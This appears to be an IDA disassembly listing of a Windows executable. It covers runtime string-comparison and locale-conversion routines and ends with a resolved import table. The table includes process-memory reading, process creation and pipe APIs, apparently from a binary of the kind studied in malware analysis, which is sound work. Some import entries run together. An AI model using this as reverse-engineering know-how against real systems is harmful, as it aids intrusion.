		xor	ecx, ecx


loc_421872:				; CODE XREF: sub_4217FB+4Fj
		cmp	[ebp+arg_4], ecx
		jnz	short loc_42183B
		pop	edi
		pop	esi


loc_421879:				; CODE XREF: sub_4217FB+1Fj
					; sub_4217FB+3Cj
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	ebx
		call	sub_41C526
		leave
		retn
sub_4217FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421887	proc near		; CODE XREF: sub_40718D+31p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4218AE
		push	esi
		call	sub_419D00
		inc	eax
		push	eax
		call	sub_416DAF
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4218AE
		push	esi
		push	eax
		call	sub_41BF70
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4218AE:				; CODE XREF: sub_421887+7j
					; sub_421887+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_421887	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4218C0	proc near		; CODE XREF: sub_404260+14Ap
		jmp	dword_4221F4
sub_4218C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4218C6	proc near		; CODE XREF: sub_4179C1+24p
					; sub_417CF0+13p
		jmp	dword_422164
sub_4218C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4218CC	proc near		; CODE XREF: sub_403999+DAp
					; sub_403999+F1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_41915F
		mov	ecx, [eax+64h]
		cmp	ecx, off_4323DC
		mov	[ebp+var_4], ecx
		jz	short loc_4218ED
		call	sub_419F8E
		mov	[ebp+var_4], eax
		mov	ecx, eax


loc_4218ED:				; CODE XREF: sub_4218CC+15j
		cmp	dword ptr [ecx+14h], 0
		push	ebx
		jnz	short loc_421932
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]


loc_4218FA:				; CODE XREF: sub_4218CC+62j
		xor	ebx, ebx
		mov	bx, [ecx]
		cmp	bx, 41h
		jb	short loc_42190E
		cmp	bx, 5Ah
		ja	short loc_42190E
		add	ebx, 20h


loc_42190E:				; CODE XREF: sub_4218CC+37j
					; sub_4218CC+3Dj
		xor	eax, eax
		mov	ax, [edx]
		cmp	ax, 41h
		jb	short loc_421922
		cmp	ax, 5Ah
		ja	short loc_421922
		add	eax, 20h


loc_421922:				; CODE XREF: sub_4218CC+4Bj
					; sub_4218CC+51j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_42196E
		cmp	bx, ax
		jz	short loc_4218FA
		jmp	short loc_42196E
; ---------------------------------------------------------------------------


loc_421932:				; CODE XREF: sub_4218CC+26j
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		jmp	short loc_42193F
; ---------------------------------------------------------------------------


loc_42193C:				; CODE XREF: sub_4218CC+9Ej
		mov	ecx, [ebp+var_4]


loc_42193F:				; CODE XREF: sub_4218CC+6Ej
		xor	eax, eax
		mov	ax, [esi]
		push	eax
		push	ecx
		call	sub_421979
		inc	esi
		inc	esi
		mov	ebx, eax
		xor	eax, eax
		mov	ax, [edi]
		push	eax
		push	[ebp+var_4]
		call	sub_421979
		add	esp, 10h
		inc	edi
		inc	edi
		test	bx, bx
		jz	short loc_42196C
		cmp	bx, ax
		jz	short loc_42193C


loc_42196C:				; CODE XREF: sub_4218CC+99j
		pop	edi
		pop	esi


loc_42196E:				; CODE XREF: sub_4218CC+5Dj
					; sub_4218CC+64j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		leave
		retn
sub_4218CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421979	proc near		; CODE XREF: sub_4218CC+7Ap
					; sub_4218CC+8Cp

var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, 0FFFFh
		cmp	word ptr [ebp+arg_4], ax
		jz	short locret_4219D8
		cmp	word ptr [ebp+arg_4], 100h
		push	esi
		mov	esi, [ebp+arg_0]
		jnb	short loc_4219AC
		push	1
		push	[ebp+arg_4]
		push	esi
		call	sub_421C33
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4219AC
		mov	ax, word ptr [ebp+arg_4]
		jmp	short loc_4219D7
; ---------------------------------------------------------------------------


loc_4219AC:				; CODE XREF: sub_421979+19j
					; sub_421979+2Bj
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_4]
		push	1
		push	eax
		push	1
		lea	eax, [ebp+arg_4]
		push	eax
		push	100h
		push	dword ptr [esi+14h]
		call	sub_4219DA
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_4]
		jz	short loc_4219D7
		mov	ax, [ebp+var_4]


loc_4219D7:				; CODE XREF: sub_421979+31j
					; sub_421979+58j
		pop	esi

locret_4219D8:				; CODE XREF: sub_421979+Dj
		leave
		retn
sub_421979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219DA	proc near		; CODE XREF: sub_421979+4Ap

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	24h
		push	offset stru_42CE20
		call	__SEH_prolog
		xor	ebx, ebx
		xor	edi, edi
		inc	edi
		cmp	dword_4815BC, ebx
		jnz	short loc_421A28
		push	ebx
		push	ebx
		push	edi
		push	offset dword_42C150
		push	100h
		push	ebx
		call	dword_4221A8	; LCMapStringW
		test	eax, eax
		jz	short loc_421A13
		mov	dword_4815BC, edi
		jmp	short loc_421A28
; ---------------------------------------------------------------------------


loc_421A13:				; CODE XREF: sub_4219DA+2Fj
		call	dword_422004	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_421A28
		mov	dword_4815BC, 2


loc_421A28:				; CODE XREF: sub_4219DA+17j
					; sub_4219DA+37j ...
		cmp	[ebp+arg_C], ebx
		jle	short loc_421A4A
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_8]


loc_421A33:				; CODE XREF: sub_4219DA+63j
		dec	ecx
		cmp	[eax], bx
		jz	short loc_421A42
		inc	eax
		inc	eax
		cmp	ecx, ebx
		jnz	short loc_421A33
		or	ecx, 0FFFFFFFFh


loc_421A42:				; CODE XREF: sub_4219DA+5Dj
		or	eax, 0FFFFFFFFh
		sub	eax, ecx
		add	[ebp+arg_C], eax


loc_421A4A:				; CODE XREF: sub_4219DA+51j
		mov	eax, dword_4815BC
		cmp	eax, edi
		jnz	short loc_421A70
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4221A8	; LCMapStringW
		jmp	loc_421C2A
; ---------------------------------------------------------------------------


loc_421A70:				; CODE XREF: sub_4219DA+77j
		cmp	eax, 2
		jz	short loc_421A79
		cmp	eax, ebx
		jnz	short loc_421ACD


loc_421A79:				; CODE XREF: sub_4219DA+99j
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_24], ebx
		cmp	[ebp+arg_0], ebx
		jnz	short loc_421A8F
		mov	eax, dword_481478
		mov	[ebp+arg_0], eax


loc_421A8F:				; CODE XREF: sub_4219DA+ABj
		cmp	[ebp+arg_18], ebx
		jnz	short loc_421A9C
		mov	eax, dword_481488
		mov	[ebp+arg_18], eax


loc_421A9C:				; CODE XREF: sub_4219DA+B8j
		push	[ebp+arg_0]
		call	sub_42027F
		pop	ecx
		cmp	[ebp+arg_18], eax
		jz	short loc_421AB2
		cmp	eax, 0FFFFFFFFh
		jz	short loc_421AB2
		mov	[ebp+arg_18], eax


loc_421AB2:				; CODE XREF: sub_4219DA+CEj
					; sub_4219DA+D3j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	[ebp+arg_18]
		call	dword_4220D8	; WideCharToMultiByte
		mov	[ebp+var_28], eax
		cmp	eax, ebx
		jnz	short loc_421AD4


loc_421ACD:				; CODE XREF: sub_4219DA+9Dj
					; sub_4219DA+141j
		xor	eax, eax
		jmp	loc_421C2A
; ---------------------------------------------------------------------------


loc_421AD4:				; CODE XREF: sub_4219DA+F1j
		mov	[ebp+ms_exc.disabled], ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_416B20
		mov	[ebp+ms_exc.old_esp], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_421B08
; ---------------------------------------------------------------------------


loc_421AF0:				; DATA XREF: .text:stru_42CE20o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_421AF4:				; DATA XREF: .text:stru_42CE20o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41C068
		xor	ebx, ebx
		mov	[ebp+var_2C], ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		xor	edi, edi
		inc	edi


loc_421B08:				; CODE XREF: sub_4219DA+114j
		cmp	[ebp+var_2C], ebx
		jnz	short loc_421B20
		push	[ebp+var_28]
		call	sub_416DAF
		pop	ecx
		mov	[ebp+var_2C], eax
		cmp	eax, ebx
		jz	short loc_421ACD
		mov	[ebp+var_20], edi


loc_421B20:				; CODE XREF: sub_4219DA+131j
		push	ebx
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	[ebp+arg_18]
		call	dword_4220D8	; WideCharToMultiByte
		test	eax, eax
		jz	loc_421C0A
		push	ebx
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4221A4	; LCMapStringA
		mov	esi, eax
		mov	[ebp+var_30], esi
		cmp	esi, ebx
		jz	loc_421C0A
		mov	[ebp+ms_exc.disabled], edi
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_416B20
		mov	[ebp+ms_exc.old_esp], esp
		mov	edi, esp
		mov	[ebp+var_34], edi
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_421B94
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41C068
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	esi, [ebp+var_30]


loc_421B94:				; CODE XREF: sub_4219DA+1A1j
		cmp	edi, ebx
		jnz	short loc_421BAC
		push	esi
		call	sub_416DAF
		pop	ecx
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_421C0D
		mov	[ebp+var_24], 1


loc_421BAC:				; CODE XREF: sub_4219DA+1BCj
		push	esi
		push	edi
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4221A4	; LCMapStringA
		test	eax, eax
		jz	short loc_421C0D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_421BE9
		mov	[ebp+var_1C], esi
		cmp	[ebp+arg_14], ebx
		jz	short loc_421C0D
		cmp	[ebp+arg_14], esi
		jge	short loc_421BDA
		mov	esi, [ebp+arg_14]


loc_421BDA:				; CODE XREF: sub_4219DA+1FBj
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_4169C0
		add	esp, 0Ch
		jmp	short loc_421C0D
; ---------------------------------------------------------------------------


loc_421BE9:				; CODE XREF: sub_4219DA+1EEj
		cmp	[ebp+arg_14], ebx
		jnz	short loc_421BF2
		push	ebx
		push	ebx
		jmp	short loc_421BF8
; ---------------------------------------------------------------------------


loc_421BF2:				; CODE XREF: sub_4219DA+212j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_421BF8:				; CODE XREF: sub_4219DA+216j
		push	esi
		push	edi
		push	1
		push	[ebp+arg_18]
		call	dword_4220D4	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		jmp	short loc_421C0D
; ---------------------------------------------------------------------------


loc_421C0A:				; CODE XREF: sub_4219DA+160j
					; sub_4219DA+181j
		mov	edi, [ebp+var_34]


loc_421C0D:				; CODE XREF: sub_4219DA+1C9j
					; sub_4219DA+1E8j ...
		cmp	[ebp+var_24], ebx
		jz	short loc_421C19
		push	edi
		call	sub_416C97
		pop	ecx


loc_421C19:				; CODE XREF: sub_4219DA+236j
		cmp	[ebp+var_20], ebx
		jz	short loc_421C27
		push	[ebp+var_2C]
		call	sub_416C97
		pop	ecx


loc_421C27:				; CODE XREF: sub_4219DA+242j
		mov	eax, [ebp+var_1C]


loc_421C2A:				; CODE XREF: sub_4219DA+91j
					; sub_4219DA+F5j
		lea	esp, [ebp-40h]
		call	__SEH_epilog
		retn
sub_4219DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C33	proc near		; CODE XREF: sub_421979+21p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0FFFFh
		jz	short loc_421C78
		cmp	[ebp+arg_4], 100h
		jnb	short loc_421C57
		movzx	eax, [ebp+arg_4]
		mov	ecx, off_432A44
		mov	ax, [ecx+eax*2]
		jmp	short loc_421C7F
; ---------------------------------------------------------------------------


loc_421C57:				; CODE XREF: sub_421C33+12j
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+14h]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		lea	eax, [ebp+arg_4]
		push	eax
		push	1
		call	sub_421C8A
		add	esp, 18h
		test	eax, eax
		jnz	short loc_421C7C


loc_421C78:				; CODE XREF: sub_421C33+Aj
		xor	eax, eax
		jmp	short loc_421C7F
; ---------------------------------------------------------------------------


loc_421C7C:				; CODE XREF: sub_421C33+43j
		mov	eax, [ebp+var_4]


loc_421C7F:				; CODE XREF: sub_421C33+22j
					; sub_421C33+47j
		movzx	ecx, [ebp+arg_8]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_421C33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C8A	proc near		; CODE XREF: sub_421C33+39p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	24h
		push	offset stru_42CE38
		call	__SEH_prolog
		xor	esi, esi
		xor	edi, edi
		inc	edi
		cmp	dword_4815C0, esi
		jnz	short loc_421CD5
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		push	offset dword_42C150
		push	edi
		call	dword_422158	; GetStringTypeW
		test	eax, eax
		jz	short loc_421CC0
		mov	dword_4815C0, edi
		jmp	short loc_421CD5
; ---------------------------------------------------------------------------


loc_421CC0:				; CODE XREF: sub_421C8A+2Cj
		call	dword_422004	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_421CD5
		mov	dword_4815C0, 2


loc_421CD5:				; CODE XREF: sub_421C8A+17j
					; sub_421C8A+34j ...
		mov	eax, dword_4815C0
		cmp	eax, edi
		jnz	short loc_421CF5
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_422158	; GetStringTypeW
		jmp	loc_421EA6
; ---------------------------------------------------------------------------


loc_421CF5:				; CODE XREF: sub_421C8A+52j
		cmp	eax, 2
		jz	short loc_421CFE
		cmp	eax, esi
		jnz	short loc_421D51


loc_421CFE:				; CODE XREF: sub_421C8A+6Ej
		mov	[ebp+var_20], esi
		mov	[ebp+var_24], esi
		cmp	[ebp+arg_14], esi
		jnz	short loc_421D11
		mov	eax, dword_481478
		mov	[ebp+arg_14], eax


loc_421D11:				; CODE XREF: sub_421C8A+7Dj
		cmp	[ebp+arg_10], esi
		jnz	short loc_421D1E
		mov	eax, dword_481488
		mov	[ebp+arg_10], eax


loc_421D1E:				; CODE XREF: sub_421C8A+8Aj
		push	[ebp+arg_14]
		call	sub_42027F
		pop	ecx
		cmp	[ebp+arg_10], eax
		jz	short loc_421D34
		cmp	eax, 0FFFFFFFFh
		jz	short loc_421D34
		mov	[ebp+arg_10], eax


loc_421D34:				; CODE XREF: sub_421C8A+A0j
					; sub_421C8A+A5j
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		push	[ebp+arg_10]
		call	dword_4220D8	; WideCharToMultiByte
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		cmp	ebx, esi
		jnz	short loc_421D58


loc_421D51:				; CODE XREF: sub_421C8A+72j
					; sub_421C8A+126j
		xor	eax, eax
		jmp	loc_421EA6
; ---------------------------------------------------------------------------


loc_421D58:				; CODE XREF: sub_421C8A+C5j
		mov	[ebp+ms_exc.disabled], esi
		mov	eax, ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_416B20
		mov	[ebp+ms_exc.old_esp], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	ebx
		push	esi
		push	eax
		call	sub_41E880
		add	esp, 0Ch
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_421D9D
; ---------------------------------------------------------------------------


loc_421D81:				; DATA XREF: .text:stru_42CE38o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_421D85:				; DATA XREF: .text:stru_42CE38o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41C068
		and	[ebp+var_2C], 0
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		xor	edi, edi
		inc	edi
		mov	ebx, [ebp+var_28]
		xor	esi, esi


loc_421D9D:				; CODE XREF: sub_421C8A+F5j
		cmp	[ebp+var_2C], esi
		jnz	short loc_421DB5
		push	ebx
		push	edi
		call	sub_41E5AE
		pop	ecx
		pop	ecx
		mov	[ebp+var_2C], eax
		cmp	eax, esi
		jz	short loc_421D51
		mov	[ebp+var_20], edi


loc_421DB5:				; CODE XREF: sub_421C8A+116j
		push	esi
		push	esi
		push	ebx
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		push	[ebp+arg_10]
		call	dword_4220D8	; WideCharToMultiByte
		test	eax, eax
		jz	loc_421E95
		mov	[ebp+ms_exc.disabled], edi
		lea	eax, [ebx+ebx+2]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_416B20
		mov	[ebp+ms_exc.old_esp], esp
		mov	eax, esp
		mov	[ebp+var_30], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_421E0F
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41C068
		and	[ebp+var_30], 0
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		xor	edi, edi
		inc	edi
		mov	ebx, [ebp+var_28]
		xor	esi, esi


loc_421E0F:				; CODE XREF: sub_421C8A+167j
		cmp	[ebp+var_30], esi
		jnz	short loc_421E29
		lea	eax, [ebx+ebx+2]
		push	eax
		call	sub_416DAF
		pop	ecx
		mov	[ebp+var_30], eax
		cmp	eax, esi
		jz	short loc_421E95
		mov	[ebp+var_24], edi


loc_421E29:				; CODE XREF: sub_421C8A+188j
		cmp	[ebp+arg_14], esi
		jnz	short loc_421E36
		mov	eax, dword_481478
		mov	[ebp+arg_14], eax


loc_421E36:				; CODE XREF: sub_421C8A+1A2j
		mov	edi, [ebp+arg_8]
		add	edi, edi
		mov	eax, [ebp+var_30]
		lea	esi, [edi+eax]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	eax
		push	ebx
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	[ebp+arg_14]
		call	dword_4221D8	; GetStringTypeA
		mov	[ebp+var_34], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_421E80
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_421E80
		push	edi
		push	[ebp+var_30]
		push	[ebp+arg_C]
		call	sub_41EFF0
		add	esp, 0Ch
		jmp	short loc_421E84
; ---------------------------------------------------------------------------


loc_421E80:				; CODE XREF: sub_421C8A+1DCj
					; sub_421C8A+1E3j
		and	[ebp+var_34], 0


loc_421E84:				; CODE XREF: sub_421C8A+1F4j
		cmp	[ebp+var_24], 0
		jz	short loc_421E93
		push	[ebp+var_30]
		call	sub_416C97
		pop	ecx


loc_421E93:				; CODE XREF: sub_421C8A+1FEj
		xor	esi, esi


loc_421E95:				; CODE XREF: sub_421C8A+143j
					; sub_421C8A+19Aj
		cmp	[ebp+var_20], esi
		jz	short loc_421EA3
		push	[ebp+var_2C]
		call	sub_416C97
		pop	ecx


loc_421EA3:				; CODE XREF: sub_421C8A+20Ej
		mov	eax, [ebp+var_34]


loc_421EA6:				; CODE XREF: sub_421C8A+66j
					; sub_421C8A+C9j
		lea	esp, [ebp-40h]
		call	__SEH_epilog
		retn
sub_421C8A	endp

; ---------------------------------------------------------------------------
		mov	eax, dword_43A7C8
		and	eax, 0FFFFFFFEh
		mov	dword_43A7C8, eax
		retn
; ---------------------------------------------------------------------------


loc_421EBD:				; DATA XREF: sub_407B65o
		mov	eax, offset dword_42CE68
		jmp	loc_417A13
; ---------------------------------------------------------------------------
		align 4
		dd 4Eh dup(0)
dword_422000	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_401141+277r ...
dword_422004	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_401141+264r ...
dword_422008	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_401141+247r ...
dword_42200C	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_401141+17Fr ...
dword_422010	dd 7C80C058h	; resolved to->KERNEL32.ExitThread					; sub_401B65+251r ...
dword_422014	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSection					; sub_41A0D2+Dr ...
dword_422018	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSection					; sub_41A166+28r ...
dword_42201C	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_402B61+27r ...
dword_422020	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_422024	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; sub_401B65+241r ...
dword_422028	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTime					; sub_405DD1+Fr
dword_42202C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_402C2F+1EFr ...
dword_422030	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_402183+1C3r ...
dword_422034	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_402C2F+5Dr ...
dword_422038	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounter					; sub_402816+1A7r ...
dword_42203C	dd 7C82FA46h	; resolved to->KERNEL32.QueryPerformanceFrequency					; sub_4125FE+F8r
dword_422040	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_4034BE+D9r ...
dword_422044	dd 7C802367h	; resolved to->KERNEL32.CreateProcessA					; sub_402C2F+485r ...
dword_422048	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryA					; sub_405DD1+21r ...
dword_42204C	dd 7C80EDD7h	; resolved to->KERNEL32.FindClose					; sub_40359E+144r ...
dword_422050	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileA					; sub_40359E+139r ...
dword_422054	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileA					; sub_404807+231r
dword_422058	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_403810+F5r ...
dword_42205C	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_403999+4Ar ...
dword_422060	dd 7C80ABC1h	; resolved to->KERNEL32.GetProcessHeap					; sub_403999+40r ...
dword_422064	dd 7C80E7ECh	; resolved to->KERNEL32.FileTimeToSystemTime					; sub_404807+2ABr
dword_422068	dd 7C80E866h	; resolved to->KERNEL32.FileTimeToLocalFileTime					; sub_404807+29Dr
dword_42206C	dd 7C80B9A0h	; resolved to->KERNEL32.VirtualQueryEx					; sub_403B37+53r
dword_422070	dd 7C8021CCh	; resolved to->KERNEL32.ReadProcessMemory					; sub_403B37+8Dr
dword_422074	dd 7C812D56h	; resolved to->KERNEL32.GetSystemInfo					; sub_403B37+2Cr ...
dword_422078	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess					; sub_403B37+10r ...
dword_42207C	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrarydword_422080	dd 7C80F0F4h	; resolved to->KERNEL32.GetEnvironmentVariableWdword_422084	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_4061D5+11r ...
dword_422088	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_4061D5+13Ar ...
dword_42208C	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_410520+B9r ...
dword_422090	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; .text:00414F9Cr ...
dword_422094	dd 7C810A77h	; resolved to->KERNEL32.GetFileSize					; sub_40528F+1F6r ...
dword_422098	dd 7C83632Dh	; resolved to->KERNEL32.GetTimeFormatA					; sub_412AEE+185r
dword_42209C	dd 7C8361EEh	; resolved to->KERNEL32.GetDateFormatA					; sub_412AEE+16Er
dword_4220A0	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; sub_407534+10Ar ...
dword_4220A4	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_407534+F6r ...
dword_4220A8	dd 7C82F7A0h	; resolved to->KERNEL32.FormatMessageAdword_4220AC	dd 7C80FE82h	; resolved to->KERNEL32.GlobalUnlockdword_4220B0	dd 7C80FF19h	; resolved to->KERNEL32.GlobalLockdword_4220B4	dd 7C80B974h	; resolved to->KERNEL32.UnmapViewOfFiledword_4220B8	dd 7C80B905h	; resolved to->KERNEL32.MapViewOfFiledword_4220BC	dd 7C80945Ch	; resolved to->KERNEL32.CreateFileMappingAdword_4220C0	dd 7C831CB8h	; resolved to->KERNEL32.SetFileTimedword_4220C4	dd 7C831C45h	; resolved to->KERNEL32.GetFileTimedword_4220C8	dd 7C8329D9h	; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_4220CC	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesA					; sub_408D07+293r ...
dword_4220D0	dd 7C835DCAh	; resolved to->KERNEL32.GetTempPathA					; sub_409806+32E4r
dword_4220D4	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_41411D+61r ...
dword_4220D8	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; .text:00416286r ...
dword_4220DC	dd 7C8216A4h	; resolved to->KERNEL32.GetComputerNameA					; .text:00410E4Br
dword_4220E0	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; sub_4106AD+7Dr ...
dword_4220E4	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA					; sub_409806+3F5Cr ...
dword_4220E8	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcess					; sub_408D07+24Br ...
dword_4220EC	dd 7C80BAA1h	; resolved to->KERNEL32.lstrcmpiAdword_4220F0	dd 7C81CE03h	; resolved to->KERNEL32.TerminateThread					; sub_411CDD+A3r ...
dword_4220F4	dd 7C835E8Fh	; resolved to->KERNEL32.MoveFileAdword_4220F8	dd 7C809920h	; resolved to->KERNEL32.GetCurrentProcessId					; sub_420497+17r
dword_4220FC	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileA					; sub_415E96+ACr
dword_422100	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObject					; sub_40FAD0+307r
dword_422104	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_422108	dd 7C81AE17h	; resolved to->KERNEL32.GetExitCodeProcessdword_42210C	dd 7C85F90Fh	; resolved to->KERNEL32.PeekNamedPipe					; sub_410520+101r
dword_422110	dd 7C80DDFEh	; resolved to->KERNEL32.DuplicateHandle					; sub_411963+6Br
dword_422114	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipe					; sub_411BE1+48r ...
dword_422118	dd 7C81B58Bh	; resolved to->KERNEL32.SetConsoleCtrlHandlerdword_42211C	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoA					; sub_42027F+23r
